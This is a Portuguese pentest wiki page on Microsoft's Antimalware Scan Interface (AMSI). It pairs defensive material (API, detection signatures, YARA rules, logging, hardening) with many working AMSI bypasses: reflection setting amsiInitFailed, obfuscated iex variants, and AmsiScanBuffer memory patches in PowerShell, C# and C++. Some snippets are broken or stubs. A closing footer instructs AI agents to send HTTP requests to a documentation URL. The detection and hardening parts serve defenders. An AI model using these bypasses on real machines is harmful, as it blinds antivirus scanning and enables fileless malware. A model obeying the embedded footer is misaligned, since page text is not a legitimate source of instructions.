# AMSI (Antimalware Scan Interface)

## 🛡️ **AMSI (Antimalware Scan Interface) – Guia Técnico Completo**

### 📑 **Índice**

1. Fundamentos do AMSI
2. Arquitetura e Componentes
3. Mecanismos de Detecção
4. Técnicas de Bypass
5. Implementação em Código
6. Ferramentas de Teste
7. Detecção de Bypass
8. Mitigação e Hardening

***

### 🔍 **Fundamentos do AMSI**

#### **O que é AMSI?**

O **Antimalware Scan Interface (AMSI)** é uma interface de programação de aplicações (API) desenvolvida pela Microsoft que permite que aplicações e serviços enviem conteúdo para soluções de segurança antes de serem processados ou executados. O AMSI foi introduzido no Windows 10 e Windows Server 2016, projetado especificamente para combater ameaças baseadas em scripts e conteúdo não persistente.

#### **Contexto Histórico**

```yaml
Evolução do AMSI:
  2015: AMSI introduzido no Windows 10 (versão 1507)
  2016: Integração com Windows Server 2016
  2017: Suporte aprimorado para PowerShell e VBScript
  2018: Integração com Office VBA macros
  2019: Suporte para JavaScript e outras linguagens de script
  2020: Aprimoramentos de performance e detecção
  2023: Integração com Microsoft Defender for Endpoint

Motivação:
  ❌ Malwares fileless (sem arquivo) não eram detectados
  ❌ Scripts ofuscados burlavam AV tradicionais
  ❌ PowerShell era frequentemente abusado
  ✅ AMSI permite scan de conteúdo antes da execução
```

#### **Características Principais**

| Característica            | Descrição                                | Impacto                         |
| ------------------------- | ---------------------------------------- | ------------------------------- |
| **Integração**            | API nativa do Windows                    | Disponível em todos Windows 10+ |
| **Fileless Detection**    | Scan de conteúdo em memória              | Detecta ataques sem arquivo     |
| **Linguagens Suportadas** | PowerShell, VBScript, JScript, VBA, .NET | Cobertura ampla                 |
| **Provider Model**        | Múltiplos AV podem se registrar          | Flexibilidade                   |
| **Baixa Latência**        | Scan otimizado                           | Mínimo impacto no usuário       |

#### **Linguagens e Componentes Suportados**

```yaml
Componentes Windows com AMSI:
  - PowerShell (scripts e comandos interativos)
  - VBScript e JScript (Windows Script Host)
  - VBA macros (Office)
  - .NET Framework (System.Management.Automation)
  - JavaScript (Chakra engine)
  - WMI (Windows Management Instrumentation)

Aplicações que utilizam AMSI:
  - Microsoft Defender Antivirus
  - Microsoft Defender for Endpoint
  - Antivírus de terceiros (Sophos, Kaspersky, etc.)
```

***

### 🏗️ **Arquitetura e Componentes**

#### **Fluxo de Funcionamento**

```mermaid
sequenceDiagram
    participant A as Aplicação<br/>(PowerShell)
    participant L as AMSI.DLL
    participant P as AMSI Provider<br/>(Antivírus)
    participant S as Sistema

    A->>L: AmsiInitialize()
    L-->>A: Handle da sessão
    
    A->>L: AmsiOpenSession()
    L-->>A: Handle da sessão
    
    A->>L: AmsiScanString(script)
    L->>P: Envia conteúdo para scan
    P->>P: Analisa conteúdo
    P-->>L: AMSI_RESULT_CLEAN/DETECTED
    L-->>A: Resultado
    
    alt AMSI_RESULT_DETECTED
        A->>S: Bloqueia execução
    else AMSI_RESULT_CLEAN
        A->>A: Executa script
    end
```

#### **Componentes do AMSI**

```c
// Estrutura do AMSI
typedef enum AMSI_RESULT {
    AMSI_RESULT_CLEAN = 0,
    AMSI_RESULT_NOT_DETECTED = 1,
    AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384,
    AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479,
    AMSI_RESULT_DETECTED = 32768
} AMSI_RESULT;

// Funções principais da API
HRESULT AmsiInitialize(
    LPCWSTR      appName,
    HAMSICONTEXT *amsiContext
);

HRESULT AmsiOpenSession(
    HAMSICONTEXT amsiContext,
    HAMSISESSION *amsiSession
);

HRESULT AmsiScanString(
    HAMSICONTEXT amsiContext,
    LPCWSTR      string,
    LPCWSTR      contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT  *result
);

HRESULT AmsiScanBuffer(
    HAMSICONTEXT amsiContext,
    PVOID        buffer,
    ULONG        length,
    LPCWSTR      contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT  *result
);
```

#### **Integração com PowerShell**

```powershell
# Verificar se AMSI está ativo
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')

# Exemplo de detecção AMSI
Invoke-Mimikatz
# Se detectado, retorna: "AMSI detected malicious content"
```

***

### 🔍 **Mecanismos de Detecção**

#### **Métodos de Análise**

```yaml
Técnicas de Detecção AMSI:
  
  Análise Estática:
    - Verificação de assinaturas
    - Padrões de strings maliciosas
    - Expressões regulares
    
  Análise Heurística:
    - Comportamento suspeito
    - Combinações de comandos
    - Uso de APIs sensíveis
    
  Análise Comportamental:
    - Cadeia de chamadas
    - Contexto de execução
    
  Análise de Ofuscação:
    - Decodificação de Base64
    - Descompressão de payloads
    - Resolução de strings ofuscadas
```

#### **Assinaturas Comuns Detectadas**

```yaml
Padrões Detectados pelo AMSI:
  - "Invoke-Mimikatz"
  - "Invoke-PowerShellTcp"
  - "amsicontext" (tentativa de bypass)
  - "System.Reflection.Assembly" (carregamento reflexivo)
  - "System.Net.WebClient" (download de payloads)
  - "IEX" + "DownloadString" (execução fileless)
  - "amsiInitFailed" (tentativa de desabilitar AMSI)
```

***

### ⚔️ **Técnicas de Bypass**

#### **1. Ofuscação de Strings**

```powershell
# String ofuscada
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiInitFailed','NonPublic,Static')
$field.SetValue($null,$true)

# String ofuscada via concatenação
$am = [Ref].Assembly
$ut = $am.GetType('System.Management.Automation.AmsiUtils')
$f = $ut.GetField('amsiInitFailed','NonPublic,Static')
$f.SetValue($null,$true)

# Usando variáveis
$a=[Ref].Assembly
$b=$a.GetType('System.Management.Automation.AmsiUtils')
$c=$b.GetField('amsiInitFailed','NonPublic,Static')
$c.SetValue($null,$true)
```

#### **2. Reflection e Manipulação de Memória**

```powershell
# Desabilitar AMSI via Reflection
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Versão com ofuscação adicional
$z = '[Ref].Assembly.GetType([String](83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,65,109,115,105,85,116,105,108,115|%{[char]$_})).GetField([String](97,109,115,105,73,110,105,116,70,97,105,108,101,100|%{[char]$_}),[String](78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99|%{[char]$_})).SetValue($null,$true'
iex $z
```

#### **3. Patch da Função AmsiScanBuffer**

```powershell
# Patch da função AmsiScanBuffer (retorna sempre AMSI_RESULT_CLEAN)
$Win32 = Add-Type -memberDefinition @"
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
"@ -name "Win32" -namespace Win32Functions -passthru

$ptr = $Win32::GetProcAddress($Win32::LoadLibrary("amsi.dll"), "AmsiScanBuffer")
$b = [byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)  # mov eax, 0x80070057; ret
[System.Runtime.InteropServices.Marshal]::Copy($b, 0, $ptr, 6)
```

#### **4. Técnica do 'AmsiContext'**

```powershell
# Manipulação do contexto AMSI
$amsiContext = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext','NonPublic,Static').GetValue($null)
[IntPtr]$ptr = $amsiContext
[UInt32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
```

#### **5. Fork e Suspensão de Processo**

```powershell
# Criar processo suspenso e modificar memória antes da verificação
$ppid = (Get-Process -Name powershell).Id
$ph = (Start-Process powershell -PassThru -WindowStyle Hidden).Handle
# Técnica de injeção antes da inicialização do AMSI
```

#### **6. Uso de PowerShell 7 (pwsh.exe)**

```powershell
# PowerShell 7 pode ter comportamento diferente
pwsh.exe -c "Invoke-Mimikatz"
# Em alguns casos, o AMSI é menos restritivo
```

#### **7. Técnicas de Encapsulamento**

```powershell
# Usando [Ref] para encapsular e evadir
$s = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$s.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Usando Add-Type para compilar código em tempo real
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Amsi {
    [DllImport("amsi")]
    public static extern int AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, IntPtr contentName, IntPtr amsiSession, ref int result);
}
"@
```

***

### 💻 **Implementação em Código**

#### **C# - Desabilitar AMSI via Reflection**

```csharp
using System;
using System.Reflection;

class AMSIBypass
{
    static void Main()
    {
        // Método 1: Reflection
        Type amsiUtils = Type.GetType("System.Management.Automation.AmsiUtils", false, true);
        if (amsiUtils != null)
        {
            FieldInfo amsiInitFailed = amsiUtils.GetField("amsiInitFailed", BindingFlags.NonPublic | BindingFlags.Static);
            if (amsiInitFailed != null)
            {
                amsiInitFailed.SetValue(null, true);
                Console.WriteLine("[+] AMSI desabilitado via Reflection");
            }
        }
        
        // Método 2: Patch de memória
        // ...
    }
}
```

#### **C++ - Patch da Função AmsiScanBuffer**

```cpp
#include <windows.h>
#include <iostream>

int main() {
    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    if (!hAmsi) {
        std::cout << "[-] Failed to load amsi.dll" << std::endl;
        return 1;
    }
    
    FARPROC pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
    if (!pAmsiScanBuffer) {
        std::cout << "[-] Failed to find AmsiScanBuffer" << std::endl;
        return 1;
    }
    
    // Patch para retornar AMSI_RESULT_CLEAN (0)
    DWORD oldProtect;
    VirtualProtect(pAmsiScanBuffer, 6, PAGE_EXECUTE_READWRITE, &oldProtect);
    
    // mov eax, 0; ret
    BYTE patch[] = { 0x31, 0xC0, 0xC3 };
    memcpy(pAmsiScanBuffer, patch, sizeof(patch));
    
    VirtualProtect(pAmsiScanBuffer, 6, oldProtect, &oldProtect);
    std::cout << "[+] AMSI patched successfully" << std::endl;
    
    return 0;
}
```

#### **PowerShell - Bypass Avançado**

```powershell
# Bypass completo com múltiplas técnicas
function Disable-AMSI {
    $a = [Ref].Assembly.GetTypes()
    foreach ($t in $a) {
        if ($t.Name -eq "AmsiUtils") {
            $f = $t.GetField("amsiInitFailed", "NonPublic,Static")
            $f.SetValue($null, $true)
        }
    }
    # Patch adicional
    $amsi = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
        [System.Runtime.InteropServices.Marshal]::GetProcAddress(
            [System.Runtime.InteropServices.Marshal]::GetModuleHandle("amsi.dll"), "AmsiScanBuffer"),
        [Type]([object].Assembly.GetType("System.Management.Automation.Interop.AmsiNativeMethods+AmsiScanBuffer"))
    )
}

Disable-AMSI
```

***

### 🛠️ **Ferramentas de Teste**

#### **AMSI Test Tool**

```powershell
# Testar se AMSI está ativo
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext','NonPublic,Static').GetValue($null)

# Testar com payload malicioso conhecido
Invoke-Mimikatz
```

#### **AMSI.fail - Framework de Bypass**

```bash
# Acessar o site para gerar bypass
# https://amsi.fail

# Exemplo de payload gerado
$k=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$k.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```

#### **C# AMSI Bypass Generator**

```csharp
// Gerador de bypass dinâmico
public static string GenerateAMSIByPass()
{
    Random r = new Random();
    string[] techniques = {
        "Reflection", "Memory Patch", "Context Manipulation"
    };
    
    // Implementação dinâmica
    return $@"
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue(`$null,`$true)
";
}
```

***

### 🔍 **Detecção de Bypass**

#### **Indicadores de Comprometimento (IOCs)**

```yaml
Indicadores de bypass de AMSI:
  
  Processos:
    - Tentativas de acesso a campos privados do AMSI
    - Chamadas a VirtualProtect em amsi.dll
    - Criação de processos com flags CREATE_SUSPENDED
  
  Strings Detectadas:
    - "amsiInitFailed"
    - "AmsiUtils"
    - "amsiContext"
    - "AmsiScanBuffer"
    - "amsi.dll"
  
  Comportamentais:
    - PowerShell invocado com parâmetros de bypass
    - Scripts com ofuscação extensiva
    - Tentativas de patch de memória
```

#### **Regras de Detecção (YARA)**

```yara
rule AMSI_ByPass_Reflection {
    meta:
        description = "Detecta bypass de AMSI via Reflection"
        severity = "high"
    
    strings:
        $r1 = "System.Management.Automation.AmsiUtils" wide ascii
        $r2 = "amsiInitFailed" wide ascii
        $r3 = "NonPublic,Static" wide ascii
        $r4 = "SetValue" wide ascii
    
    condition:
        2 of them
}

rule AMSI_ByPass_MemoryPatch {
    meta:
        description = "Detecta patch de memória em amsi.dll"
        severity = "critical"
    
    strings:
        $m1 = "VirtualProtect" wide ascii
        $m2 = "amsi.dll" wide ascii
        $m3 = "AmsiScanBuffer" wide ascii
        $m4 = "GetProcAddress" wide ascii
    
    condition:
        all of them
}
```

#### **Monitoramento via Event Logs**

```powershell
# Eventos de AMSI
# Event ID 1005: AMSI scan result
# Event ID 1006: AMSI error

# Monitorar logs do Windows Defender
Get-WinEvent -FilterHashtable @{
    LogName='Microsoft-Windows-Windows Defender/Operational'
    ID=1005,1006
} | Where-Object {$_.Message -like "*AMSI*"}
```

***

### 🛡️ **Mitigação e Hardening**

#### **Configurações de Segurança**

```powershell
# 1. Habilitar AMSI (já ativo por padrão)
Get-MpPreference | Select-Object -Property DisableAntiSpyware, DisableRealtimeMonitoring

# 2. Configurar logging avançado de PowerShell
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1

# 3. Configurar Group Policy para bloqueio de bypass
# Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell
# - Turn on PowerShell Script Block Logging: Enabled
# - Turn on PowerShell Module Logging: Enabled
```

#### **Proteção Contra Patch de Memória**

```c
// Proteger a função AmsiScanBuffer contra modificação
DWORD ProtectAmsiFunction() {
    HMODULE hAmsi = GetModuleHandleA("amsi.dll");
    if (!hAmsi) return 0;
    
    FARPROC pFunc = GetProcAddress(hAmsi, "AmsiScanBuffer");
    if (!pFunc) return 0;
    
    DWORD oldProtect;
    VirtualProtect(pFunc, 64, PAGE_EXECUTE_READ, &oldProtect);
    
    // Verificar integridade periodicamente
    return 1;
}
```

#### **Configuração de ASR Rules**

```powershell
# Attack Surface Reduction rules para AMSI
Add-MpPreference -AttackSurfaceReductionRules_Ids "75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84" -AttackSurfaceReductionRules_Actions Enabled

# Bloquear criação de processos de PowerShell com parâmetros de bypass
Add-MpPreference -AttackSurfaceReductionRules_Ids "d4f940ab-401b-4efc-aadc-ad5f3c50688a" -AttackSurfaceReductionRules_Actions Enabled
```

#### **Hardening de PowerShell**

```powershell
# Configurar Execution Policy restritiva
Set-ExecutionPolicy -ExecutionPolicy AllSigned -Scope LocalMachine

# Desabilitar PowerShell para usuários não administrativos
# (via Group Policy)
# Computer Configuration > Administrative Templates > System > User Profiles
```

***

### 📋 **Checklists de Segurança**

#### **Checklist de Prevenção**

* [ ] **Configuração**
  * [ ] AMSI ativo e funcionando
  * [ ] PowerShell ScriptBlock Logging habilitado
  * [ ] PowerShell Module Logging habilitado
  * [ ] Execution Policy configurada como AllSigned ou RemoteSigned
* [ ] **Monitoramento**
  * [ ] Logs centralizados de eventos AMSI
  * [ ] Alertas para tentativas de bypass
  * [ ] Verificação de integridade de amsi.dll
* [ ] **Hardening**
  * [ ] ASR rules configuradas
  * [ ] Windows Defender atualizado
  * [ ] Restrição de PowerShell para usuários não administrativos

#### **Checklist de Teste**

* [ ] **Reconhecimento**
  * [ ] Verificar se AMSI está ativo
  * [ ] Identificar versão do PowerShell
  * [ ] Testar payloads conhecidos
* [ ] **Bypass**
  * [ ] Testar técnicas de Reflection
  * [ ] Testar patch de memória
  * [ ] Testar ofuscação
  * [ ] Testar PowerShell 7
* [ ] **Validação**
  * [ ] Confirmar execução de payload
  * [ ] Verificar logs gerados
  * [ ] Documentar técnica utilizada

***

### 📊 **Conclusão e Boas Práticas**

#### **Resumo Técnico**

```yaml
AMSI:
  ✅ Defesa crítica contra malwares fileless
  ✅ Integrado ao Windows 10 e Windows Server 2016+
  ✅ Suporta múltiplas linguagens de script
  ✅ Alta taxa de detecção de técnicas conhecidas

Desafios:
  ❌ Bypass via Reflection é possível
  ❌ Patch de memória em amsi.dll
  ❌ Ofuscação avançada pode evadir
  ❌ PowerShell 7 pode ter comportamento diferente
```

#### **Recomendações Finais**

1. **Para Defensores**
   * Manter Windows Defender e assinaturas atualizados
   * Habilitar logging avançado de PowerShell
   * Implementar monitoramento de tentativas de bypass
   * Configurar ASR rules específicas
2. **Para Pentesters**
   * Testar múltiplas técnicas de bypass
   * Utilizar ofuscação avançada
   * Considerar PowerShell 7 como alternativa
   * Documentar detecções observadas


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/conceitos/ambientes/windows/amsi-antimalware-scan-interface.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
